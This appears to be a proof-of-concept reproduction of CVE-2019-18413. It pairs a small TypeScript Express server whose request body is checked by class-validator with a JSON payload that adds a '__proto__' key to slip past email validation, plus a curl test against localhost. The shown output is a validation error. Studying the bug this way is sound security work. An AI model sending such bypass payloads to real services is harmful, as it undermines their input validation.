CVE-2019-18413

index.ts

import "reflect-metadata";
import { IsEmail } from "class-validator";
import { Post, Body, JsonController, createExpressServer } from "routing-controllers";

class Test {
  @IsEmail()
  public email!: string;
}

@JsonController()
class TestController {
  @Post("/test")
  public test(@Body() body: Test) {
    console.log(body);
    return "Ok";
  }
}

const app = createExpressServer({
  controllers: [TestController],
});

app.listen(3000);

package.json

{
  "name": "cve-2019-18413",
  "version": "1.0.0",
  "main": "index.ts",
  "scripts": {
    "start": "ts-node index.ts",
    "test": "curl -H 'Content-Type: application/json' localhost:3000/test -d @test.json"
  },
  "dependencies": {
    "class-transformer": "0.3.1",
    "class-validator": "0.12.2",
    "reflect-metadata": "^0.1.13",
    "routing-controllers": "^0.9.0",
    "tslib": "^2.3.1"
  },
  "devDependencies": {
    "@types/node": "^16.11.6",
    "ts-node": "^10.4.0",
    "typescript": "^4.4.4"
  }
}

test.json

{
  "email": "bbbb",
  "__proto__": {}
}

tsconfig.json

{
  "$schema": "https://json.schemastore.org/tsconfig",
  "compilerOptions": {
    "lib": ["es2019", "es2020.promise", "es2020.bigint", "es2020.string"],
    "module": "commonjs",
    "target": "es2019",
    "strict": true,
    "esModuleInterop": true,
    "emitDecoratorMetadata": true,
    "experimentalDecorators": true
  }
}

❯ npm test

[email protected] test /home/jkiyo/Dev/trash/cve/CVE-2019-18413
curl -H 'Content-Type: application/json' localhost:3000/test -d @test.json

{"name":"BadRequestError","message":"Invalid body, check 'errors' property for more info.","stack":"Error\n at new HttpError (/home/jkiyo/Dev/trash/cve/CVE-2019-18413/node_modules/src/http-error/HttpError.ts:16:18)\n at new BadRequestError (/home/jkiyo/Dev/trash/cve/CVE-2019-18413/node_modules/src/http-error/BadRequestError.ts:10:5)\n at /home/jkiyo/Dev/trash/cve/CVE-2019-18413/node_modules/src/ActionParameterHandler.ts:233:30\n at processTicksAndRejections (node:internal/process/task_queues:96:5)\n at async ActionParameterHandler.normalizeParamValue (/home/jkiyo/Dev/trash/cve/CVE-2019-18413/node_modules/src/ActionParameterHandler.ts:141:15)\n at async Promise.all (index 0)","errors":[{"target":{"email":"bbbb"},"value":"bbbb","property":"email","children":[],"constraints":{"isEmail":"email must be an email"}}]}